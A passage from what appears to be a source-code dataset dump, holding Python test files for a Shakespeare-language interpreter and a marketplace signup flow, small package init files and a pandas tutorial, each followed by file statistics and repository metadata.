s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'a'
assert captured.err == ''
s._character_by_name('Romeo').value = 98
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'b'
assert captured.err == ''
s._character_by_name('Romeo').value = 10
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == '\n'
assert captured.err == ''
s._character_by_name('Romeo').value = 65
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'A'
assert captured.err == ''
s._character_by_name('Romeo').value = 66
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'B'
assert captured.err == ''
s._character_by_name('Romeo').value = 9
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == '\t'
assert captured.err == ''
s._character_by_name('Romeo').value = 38
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == '&'
assert captured.err == ''
s._character_by_name('Romeo').value = 64
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == '@'
assert captured.err == ''
s._character_by_name('Romeo').value = 32
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == ' '
assert captured.err == ''
def test_unicode(capsys):
s = Shakespeare()
s.run_dramatis_persona('Juliet, a test.')
s.run_dramatis_persona('Romeo, a test.')
s.run_event('[Enter Romeo and Juliet]')
s._character_by_name('Romeo').value = 664
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'ʘ'
assert captured.err == ''
s._character_by_name('Romeo').value = 613
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'ɥ'
assert captured.err == ''
s._character_by_name('Romeo').value = 1244
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'Ӝ'
assert captured.err == ''
s._character_by_name('Romeo').value = 2310
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'आ'
assert captured.err == ''
s._character_by_name('Romeo').value = 2708
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'ઔ'
assert captured.err == ''
s._character_by_name('Romeo').value = 3494
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'ඦ'
assert captured.err == ''
s._character_by_name('Romeo').value = 6326
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'ᢶ'
assert captured.err == ''
s._character_by_name('Romeo').value = 6662
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'ᨆ'
assert captured.err == ''
s._character_by_name('Romeo').value = 7495
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'ᵇ'
assert captured.err == ''
s._character_by_name('Romeo').value = 7716
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
captured = capsys.readouterr()
assert captured.out == 'Ḥ'
assert captured.err == ''
def test_errors_on_invalid_code(capsys):
s = Shakespeare()
s.run_dramatis_persona('Juliet, a test.')
s.run_dramatis_persona('Romeo, a test.')
s.run_event('[Enter Romeo and Juliet]')
s._character_by_name('Romeo').value = 100000000
with pytest.raises(Exception) as exc:
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
assert 'invalid character code' in str(exc.value).lower()
s._character_by_name('Romeo').value = -1
with pytest.raises(Exception) as exc:
s.run_sentence('Speak your mind!', s._on_stage_character_by_name('Juliet'))
assert 'invalid character code' in str(exc.value).lower()
captured = capsys.readouterr()
assert captured.out == ''
assert captured.err == ''
| 36.633333 | 83 | 0.683712 | 744 | 5,495 | 4.763441 | 0.111559 | 0.130361 | 0.177765 | 0.094808 | 0.937359 | 0.928612 | 0.921275 | 0.921275 | 0.921275 | 0.783578 | 0 | 0.014295 | 0.17252 | 5,495 | 149 | 84 | 36.879195 | 0.76512 | 0 | 0 | 0.637097 | 0 | 0 | 0.143949 | 0 | 0 | 0 | 0 | 0 | 0.33871 | 1 | 0.024194 | false | 0 | 0.024194 | 0 | 0.048387 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2d5ff33d52f278070c8100dd58ae7ef047d371c9 | 21,070 | py | Python | tests/app/main/test_signup.py | AusDTO/dto-digitalmarketplace-supplier-frontend | cdba4f9404b4ffe0fb7459c5aa65daa9826682a7 | [
"MIT"
] | 1 | 2018-01-04T18:11:52.000Z | 2018-01-04T18:11:52.000Z | tests/app/main/test_signup.py | AusDTO/dto-digitalmarketplace-supplier-frontend | cdba4f9404b4ffe0fb7459c5aa65daa9826682a7 | [
"MIT"
] | 18 | 2016-08-24T05:24:41.000Z | 2021-07-30T02:01:44.000Z | tests/app/main/test_signup.py | AusDTO/dto-digitalmarketplace-supplier-frontend | cdba4f9404b4ffe0fb7459c5aa65daa9826682a7 | [
"MIT"
] | 5 | 2016-09-13T13:07:15.000Z | 2021-02-15T16:13:41.000Z | import mock
from ..helpers import BaseApplicationTest
from dmutils.forms import FakeCsrf
from dmutils.email import EmailError
from app.main.views.signup import render_create_application
from dmapiclient import HTTPError
from io import BytesIO
import json
def get_application(id):
return {'application': {
'id': 1,
'status': 'saved',
'data': {'a': 'b'},
'created_at': '2016-11-14 01:22:01.14119',
'email': 'applicant@email.com',
'representative': 'Ms Authorised Rep',
'name': 'My Amazing Company'
}}
def get_unauthorised_application(id):
return {'application': {
'id': 1,
'status': 'saved',
'data': {'a': 'b'},
'created_at': '2016-11-14 01:22:01.14119',
'email': 'test@email.com',
'representative': 'Ms Authorised Rep',
'name': 'My Amazing Company'
}}
def get_submitted_application(id):
return {'application': {
'id': 1,
'status': 'submitted',
'data': {'a': 'b'},
'created_at': '2016-11-14 01:22:01.14119',
}}
def get_another_application(id):
return {'application': {
'id': 2,
'status': 'saved',
'data': {'a': 'b'},
'created_at': '2016-11-14 01:22:01.14119',
}}
class TestCreateApplicationPage(BaseApplicationTest):
def setup(self):
super(TestCreateApplicationPage, self).setup()
@mock.patch('app.main.views.signup.decode_user_token')
def test_invalid_token_data(self, decode_user_token):
decode_user_token.return_value = {}
res = self.client.get(
self.url_for('main.render_create_application', token='test')
)
assert res.status_code == 503
@mock.patch('app.main.views.signup.data_api_client')
@mock.patch('app.main.views.signup.decode_user_token')
def test_existing_user(self, decode_user_token, data_api_client):
decode_user_token.return_value = {'email_address': 'test@company.com'}
data_api_client.get_user.return_value = self.user(123, 'test@email.com', None, None, 'Users name')
res = self.client.get(
self.url_for('main.render_create_application', token='test')
)
assert res.status_code == 400
@mock.patch('app.main.views.signup.render_component')
@mock.patch('app.main.views.signup.data_api_client')
@mock.patch('app.main.views.signup.decode_user_token')
def test_render_create_application(self, decode_user_token, data_api_client, render_component):
token_data = {'email_address': 'test@company.com'}
decode_user_token.return_value = token_data
data_api_client.get_user.return_value = None
render_component.return_value.get_props.return_value = {}
res = self.client.get(
self.url_for('main.render_create_application', token='test')
)
assert res.status_code == 200
render_component.assert_called_once_with(
'bundles/SellerRegistration/EnterPasswordWidget.js', {
'form_options': {
'errors': None
},
'enterPasswordForm': token_data
}
)
@mock.patch('app.main.views.signup.render_component')
@mock.patch('app.main.views.signup.data_api_client')
@mock.patch('app.main.views.signup.decode_user_token')
def test_render_create_application_with_errors(self, decode_user_token, data_api_client, render_component):
with self.app.test_request_context():
error = {'error': 'reason'}
decode_user_token.return_value = {'email_address': 'test@company.com', 'name': 'a company'}
data_api_client.get_user.return_value = None
render_component.return_value.get_props.return_value = {}
render_create_application('token', {'key': 'value'}, error)
render_component.assert_called_once_with(
'bundles/SellerRegistration/EnterPasswordWidget.js', {
'form_options': {
'errors': error
},
'enterPasswordForm': {'key': 'value', 'email_address': 'test@company.com', 'name': 'a company'}
}
)
@mock.patch('app.main.views.signup.render_create_application')
@mock.patch('app.main.views.signup.decode_user_token')
def test_missing_password(self, decode_user_token, render_create_application):
decode_user_token.return_value = {}
render_create_application.return_value = 'abc'
self.client.post(
self.url_for('main.create_application', token='test'),
data={'csrf_token': FakeCsrf.valid_token}
)
render_create_application.assert_called_once_with('test', {}, {'password': {'required': True}})
@mock.patch('app.main.views.signup.render_create_application')
@mock.patch('app.main.views.signup.decode_user_token')
def test_short_password(self, decode_user_token, render_create_application):
decode_user_token.return_value = {}
render_create_application.return_value = 'abc'
self.client.post(
self.url_for('main.create_application', token='test'),
data={'csrf_token': FakeCsrf.valid_token, 'password': '12345'}
)
render_create_application.assert_called_once_with('test', {'password': '12345'}, {'password': {'min': True}})
@mock.patch('app.main.views.signup.data_api_client')
@mock.patch('app.main.views.signup.decode_user_token')
def test_create_user_fails(self, decode_user_token, data_api_client):
decode_user_token.return_value = {'name': 'joe', 'email_address': 'test@company.com'}
data_api_client.create_user.side_effect = HTTPError('fail')
res = self.client.post(
self.url_for('main.create_application', token='test'),
data={'csrf_token': FakeCsrf.valid_token, 'password': '12345678901'}
)
assert res.status_code == 503
@mock.patch('app.main.views.signup.data_api_client')
@mock.patch('app.main.views.signup.decode_user_token')
def test_create_application_fails(self, decode_user_token, data_api_client):
decode_user_token.return_value = {'name': 'joe', 'email_address': 'test@company.com'}
data_api_client.create_user.return_value = self.user(123, 'test@email.com', None, None, 'Users name')
data_api_client.create_user.side_effect = HTTPError('fail')
res = self.client.post(
self.url_for('main.create_application', token='test'),
data={'csrf_token': FakeCsrf.valid_token, 'password': '12345678901'}
)
assert res.status_code == 503
@mock.patch('app.main.views.signup.data_api_client')
@mock.patch('app.main.views.signup.decode_user_token')
def test_create_application_success(self, decode_user_token, data_api_client):
decode_user_token.return_value = {'name': 'joe', 'email_address': 'test@company.com'}
data_api_client.create_user.return_value = self.user(123, 'test@email.com', None, None, 'Users name')
data_api_client.create_application.return_value = {'application': {'id': 999}}
res = self.client.post(
self.url_for('main.create_application', token='test'),
data={'csrf_token': FakeCsrf.valid_token, 'password': '12345678901'}
)
assert res.status_code == 302
assert res.location == self.url_for('main.render_application', id=999, step='start', _external=True)
data_api_client.create_application.assert_called_once_with(
{'status': 'saved', 'framework': 'digital-marketplace'}
)
class TestApplicationPage(BaseApplicationTest):
def setup(self):
super(TestApplicationPage, self).setup()
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_entrypoint_redirects(self, render_component, data_api_client):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
with self.app.test_client():
self.login_as_applicant()
data_api_client.get_application.side_effect = get_application
res = self.client.get(self.expand_path('/application'))
assert res.status_code == 302
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_entrypoint_redirects_for_supplier(self, render_component, data_api_client):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
with self.app.test_client():
self.login()
data_api_client.get_application.side_effect = get_application
res = self.client.get(self.expand_path('/application'))
assert res.status_code == 302
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_page_renders(self, render_component, data_api_client):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
with self.app.test_client():
self.login_as_applicant()
data_api_client.get_application.side_effect = get_application
res = self.client.get(self.expand_path('/application/1'))
assert res.status_code == 200
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_page_denies_role_access(self, render_component, data_api_client):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
with self.app.test_client():
self.login_as_buyer()
data_api_client.get_application.side_effect = get_application
res = self.client.get(self.expand_path('/application/1'))
assert res.status_code == 302
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_page_denies_other_applicants_access(self, render_component, data_api_client):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
with self.app.test_client():
self.login_as_applicant()
data_api_client.get_application.side_effect = get_another_application
res = self.client.get(self.expand_path('/application/1'))
assert res.status_code == 403
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_update(self, render_component, data_api_client):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
with self.app.test_client():
self.login_as_applicant()
data_api_client.get_application.side_effect = get_application
res = self.client.post(
self.expand_path('/application/1'),
data={'a': 'b', 'next_step_slug': 'slug', 'csrf_token': FakeCsrf.valid_token}
)
assert res.status_code == 302
assert res.location == self.url_for('main.render_application', id=1, step='slug', _external=True)
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_update_json(self, render_component, data_api_client):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
csrf = 'abc123'
with self.client.session_transaction() as sess:
sess['_csrf_token'] = csrf
with self.app.test_client():
self.login_as_applicant()
data_api_client.get_application.side_effect = get_application
data_api_client.update_application.return_value = {
'application': {
'links': {
'self': 'http://self'
}
}
}
res = self.client.post(
self.expand_path('/application/1'),
data=json.dumps({'application': {'phone': '123'}, 'next_step_slug': 'slug'}),
headers={'X-CSRFToken': csrf},
content_type='application/json'
)
assert res.status_code == 200
data = json.loads(res.get_data(as_text=True))
assert 'links' not in data['application']
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_update_denies_access(self, render_component, data_api_client):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
with self.app.test_client():
self.login_as_buyer()
data_api_client.get_application.side_effect = get_application
res = self.client.post(
self.expand_path('/application/1'),
data={'csrf_token': FakeCsrf.valid_token},
)
assert res.status_code == 302
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_update_denies_edit_after_submit(self, render_component, data_api_client):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
with self.app.test_client():
self.login_as_applicant()
data_api_client.get_application.side_effect = get_submitted_application
res = self.client.post(
self.expand_path('/application/1'),
data={'csrf_token': FakeCsrf.valid_token},
)
assert res.status_code == 302
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_submit(self, render_component, data_api_client):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
with self.app.test_client():
self.login_as_applicant()
data_api_client.get_application.side_effect = get_application
res = self.client.post(self.expand_path('/application/submit/1'), data={'csrf_token': FakeCsrf.valid_token})
assert res.status_code == 200
args, kwargs = data_api_client.req.applications().submit().post.call_args
assert kwargs['data']['user_id'] == 234
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_already_submitted(self, render_component, data_api_client):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
with self.app.test_client():
self.login_as_applicant()
data_api_client.get_application.side_effect = get_submitted_application
res = self.client.post(self.expand_path('/application/submit/1'), data={'csrf_token': FakeCsrf.valid_token})
assert res.status_code == 200
data_api_client.req.applications().submit().post. assert_not_called()
@mock.patch('app.main.views.signup.render_template')
@mock.patch('app.main.views.signup.send_email')
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_authorise_has_account(self, render_component, data_api_client, send_email, render_template):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
render_template.return_value = ''
with self.app.test_client():
self.login_as_applicant()
data_api_client.get_application.side_effect = get_application
res = self.client.post(self.expand_path('/application/1/authorise'),
data={'csrf_token': FakeCsrf.valid_token})
assert res.status_code == 200
render_template.called_with(
'emails/create_authorise_email_has_account.html',
business_name='My Amazing Company',
name='Ms Authorised Rep',
url='http://localhost/sellers/application/1/submit'
)
send_email.assert_called_once_with(
'applicant@email.com',
mock.ANY,
self.app.config['AUTHREP_EMAIL_SUBJECT'],
self.app.config['INVITE_EMAIL_FROM'],
self.app.config['INVITE_EMAIL_NAME']
)
@mock.patch('app.main.views.signup.render_template')
@mock.patch('app.main.views.signup.send_email')
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_authorise_no_account(self, render_component, data_api_client, send_email, render_template):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
render_template.return_value = ''
with self.app.test_client():
self.login_as_applicant()
data_api_client.get_application.side_effect = get_unauthorised_application
res = self.client.post(self.expand_path('/application/1/authorise'),
data={'csrf_token': FakeCsrf.valid_token})
assert res.status_code == 200
render_template.called_with(
'emails/create_authorise_email_no_account.html',
business_name='My Amazing Company',
name='Ms Authorised Rep',
url='http://localhost/sellers/application/1/submit'
)
send_email.assert_called_once_with(
'test@email.com',
mock.ANY,
self.app.config['AUTHREP_EMAIL_SUBJECT'],
self.app.config['INVITE_EMAIL_FROM'],
self.app.config['INVITE_EMAIL_NAME']
)
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.render_component')
def test_application_discard(self, render_component, data_api_client):
render_component.return_value.get_props.return_value = {}
render_component.return_value.get_slug.return_value = 'slug'
with self.app.test_client():
self.login_as_applicant()
data_api_client.get_application.side_effect = get_application
res = self.client.get(self.expand_path('/application/1/discard'))
assert res.status_code == 302
data_api_client.req.applications().delete.assert_called()
class TestDocuments(BaseApplicationTest):
def setup(self):
super(TestDocuments, self).setup()
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.s3_download_file')
def test_document_download(self, download_file, data_api_client):
output = BytesIO()
output.write('test file contents'.encode())
download_file.return_value = output.getvalue()
with self.app.test_client():
self.login_as_applicant()
data_api_client.get_application.side_effect = get_application
res = self.client.get(self.expand_path('/application/1/documents/test.pdf'))
assert res.status_code == 200
assert res.mimetype == 'application/pdf'
assert res.data.decode() == 'test file contents'
download_file.assert_called_once_with('', 'test.pdf', 'applications/1')
@mock.patch("app.main.views.signup.data_api_client")
@mock.patch('app.main.views.signup.s3_upload_file_from_request')
def test_document_upload(self, upload_file, data_api_client):
upload_file.return_value = 'test.pdf'
with self.app.test_request_context():
self.login_as_applicant()
data_api_client.get_application.side_effect = get_application
res = self.client.post(
self.expand_path('/application/1/documents/test'),
data={'csrf_token': FakeCsrf.valid_token}
)
assert res.status_code == 200
assert res.data.decode() == 'test.pdf'
upload_file.assert_called_once_with(mock.ANY, 'test', 'applications/1')
| 42.738337 | 120 | 0.659563 | 2,546 | 21,070 | 5.146112 | 0.080518 | 0.068844 | 0.072432 | 0.076935 | 0.880782 | 0.85071 | 0.841246 | 0.826057 | 0.824378 | 0.804152 | 0 | 0.014267 | 0.221547 | 21,070 | 492 | 121 | 42.825203 | 0.784538 | 0 | 0 | 0.662437 | 0 | 0 | 0.220456 | 0.130422 | 0 | 0 | 0 | 0 | 0.101523 | 1 | 0.081218 | false | 0.030457 | 0.020305 | 0.010152 | 0.119289 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2dcac930c8e7c131f6173cfa8031df29f1f08c3a | 72 | py | Python | myeda/visualization/__init__.py | PhilippvK/python-myeda | e8501a24535d73997fed9445b45b08ca93cb4b0b | [
"MIT"
] | 3 | 2020-09-26T12:44:39.000Z | 2022-01-13T10:25:17.000Z | myeda/visualization/__init__.py | PhilippvK/python-myeda | e8501a24535d73997fed9445b45b08ca93cb4b0b | [
"MIT"
] | null | null | null | myeda/visualization/__init__.py | PhilippvK/python-myeda | e8501a24535d73997fed9445b45b08ca93cb4b0b | [
"MIT"
] | null | null | null | '''module docstring'''
from myeda.visualization.Cubes import print_cube
| 24 | 48 | 0.805556 | 9 | 72 | 6.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.083333 | 72 | 2 | 49 | 36 | 0.863636 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 6 |
930ed076295b7d573a1e5392a48f830262b89dc6 | 1,595 | py | Python | Pandas/Seriler.py | mehmet-karagoz/Python-Pandas | 7e2ac2962f94e4ffd28b0f6b74935ace6e6b51a0 | [
"MIT"
] | 1 | 2020-10-06T05:51:41.000Z | 2020-10-06T05:51:41.000Z | Pandas/Seriler.py | mehmet-karagoz/Python-Pandas | 7e2ac2962f94e4ffd28b0f6b74935ace6e6b51a0 | [
"MIT"
] | null | null | null | Pandas/Seriler.py | mehmet-karagoz/Python-Pandas | 7e2ac2962f94e4ffd28b0f6b74935ace6e6b51a0 | [
"MIT"
] | null | null | null | import pandas as pd
import numpy as np
#seri olusturma
#s = pd.Series(data, index=index) ile seri olusturulur
# s = pd.Series(np.random.randn(5)) #index --> 0,1,2,3,4
# s = pd.Series(np.random.randn(5),index=['a','b','c','d','e'])
# print(s)
# print('-'*50)
# print(s.index)
# print('*'*50)
# data = {'a':23,'b':24,'c':25}
# s = pd.Series(data)
# s = pd.Series(data,index=['b','c','a'])
# s = pd.Series(data,index=['e','c','a','d'])
# print(s)
# print('*'*50)
#serilerin ndarrray ile benzerligi
# s = pd.Series(np.random.randn(5))
# print(s)
# print('-'*50)
# print(s[2])
# print('-'*50)
# print(s[:2])
# print('-'*50)
# print(s[2:])
# print('-'*50)
# print(s[s > s.median()])
# print('-'*50)
# print(s[[3,2]])
# print('-'*50)
# print(s.dtype)
# print('-'*50)
# print(s.array)
# print('-'*50)
# print(s.to_numpy)
# print('*'*50)
#serilerin dict yapısı ile benzerligi
# s = pd.Series(np.random.randn(5),index=['a','b','c','d','e'])
# print(s)
# print('-'*50)
# print(s['c'])
# print('-'*50)
# s['f'] = 2
# print(s)
# print('-'*50)
# print('a' in s)
#serilerde matematikler islemler
# s = pd.Series(np.random.randn(5),index=['a','b','c','d','e'])
# print(s)
# print('-'*50)
# print(s + s)
# print('-'*50)
# print(s * 3)
# print('-'*50)
# print(s[2:] + s[:-1]) # NaN degerlerini s.dropna metodu ile silebiliriz
#Name degeri
# s = pd.Series(np.random.randn(5),index=['a','b','c','d','e'],name='Tutorial')
# print(s)
# print('-'*50)
# print(s.name)
# print('-'*50)
# s = s.rename('Yeni Tutorial')
# print(s.name) | 20.986842 | 80 | 0.532915 | 259 | 1,595 | 3.277992 | 0.216216 | 0.155477 | 0.212014 | 0.21437 | 0.56066 | 0.407538 | 0.378092 | 0.378092 | 0.345112 | 0.287397 | 0 | 0.049924 | 0.17116 | 1,595 | 76 | 81 | 20.986842 | 0.592284 | 0.84326 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
933f4ba0c7eafbe51dcef6597237644a94fef994 | 109 | py | Python | unseal/hooks/__init__.py | puffy310/unseal | 0768aaa7f0acf0be1ea50955051ab5cca6345496 | [
"MIT"
] | null | null | null | unseal/hooks/__init__.py | puffy310/unseal | 0768aaa7f0acf0be1ea50955051ab5cca6345496 | [
"MIT"
] | null | null | null | unseal/hooks/__init__.py | puffy310/unseal | 0768aaa7f0acf0be1ea50955051ab5cca6345496 | [
"MIT"
] | null | null | null | from . import common_hooks
from . import util
from . import rome_hooks
from .commons import Hook, HookedModel | 27.25 | 38 | 0.807339 | 16 | 109 | 5.375 | 0.5625 | 0.348837 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.146789 | 109 | 4 | 38 | 27.25 | 0.924731 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
934c00218d57e3cbb71c9266a16fcbca85fde79a | 1,035 | py | Python | temboo/core/Library/DataGov/__init__.py | jordanemedlock/psychtruths | 52e09033ade9608bd5143129f8a1bfac22d634dd | [
"Apache-2.0"
] | 7 | 2016-03-07T02:07:21.000Z | 2022-01-21T02:22:41.000Z | temboo/core/Library/DataGov/__init__.py | jordanemedlock/psychtruths | 52e09033ade9608bd5143129f8a1bfac22d634dd | [
"Apache-2.0"
] | null | null | null | temboo/core/Library/DataGov/__init__.py | jordanemedlock/psychtruths | 52e09033ade9608bd5143129f8a1bfac22d634dd | [
"Apache-2.0"
] | 8 | 2016-06-14T06:01:11.000Z | 2020-04-22T09:21:44.000Z | from temboo.Library.DataGov.GetCensusIDByCoordinates import GetCensusIDByCoordinates, GetCensusIDByCoordinatesInputSet, GetCensusIDByCoordinatesResultSet, GetCensusIDByCoordinatesChoreographyExecution
from temboo.Library.DataGov.GetCensusIDByTypeAndName import GetCensusIDByTypeAndName, GetCensusIDByTypeAndNameInputSet, GetCensusIDByTypeAndNameResultSet, GetCensusIDByTypeAndNameChoreographyExecution
from temboo.Library.DataGov.GetDemographicsByCoordinates import GetDemographicsByCoordinates, GetDemographicsByCoordinatesInputSet, GetDemographicsByCoordinatesResultSet, GetDemographicsByCoordinatesChoreographyExecution
from temboo.Library.DataGov.GetDemographicsByTypeAndID import GetDemographicsByTypeAndID, GetDemographicsByTypeAndIDInputSet, GetDemographicsByTypeAndIDResultSet, GetDemographicsByTypeAndIDChoreographyExecution
from temboo.Library.DataGov.GetDemographicsForNation import GetDemographicsForNation, GetDemographicsForNationInputSet, GetDemographicsForNationResultSet, GetDemographicsForNationChoreographyExecution
| 172.5 | 220 | 0.937198 | 50 | 1,035 | 19.4 | 0.5 | 0.051546 | 0.087629 | 0.123711 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033816 | 1,035 | 5 | 221 | 207 | 0.97 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
935602526312d73122d329dd574e95e60e7e8118 | 96 | py | Python | gflashcards/__init__.py | patarapolw/gflashcards | 692e152bd803109f0bf8d0c22bff03d5c78bd70a | [
"Apache-2.0"
] | 6 | 2018-07-22T18:55:54.000Z | 2018-08-08T03:13:08.000Z | gflashcards/__init__.py | patarapolw/gflash | 692e152bd803109f0bf8d0c22bff03d5c78bd70a | [
"Apache-2.0"
] | null | null | null | gflashcards/__init__.py | patarapolw/gflash | 692e152bd803109f0bf8d0c22bff03d5c78bd70a | [
"Apache-2.0"
] | null | null | null | from .app import Flashcards
from .upload import save_image_from_clipboard, save_image_from_file
| 32 | 67 | 0.875 | 15 | 96 | 5.2 | 0.6 | 0.230769 | 0.333333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.09375 | 96 | 2 | 68 | 48 | 0.896552 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
937e59cfd334e76cc9628aa748859a8bf80daf31 | 1,180 | py | Python | siamfc/heads.py | saiajaym/siamFC | 20d09be54c8403ffb2494f34a42cc507f2fe98a4 | [
"MIT"
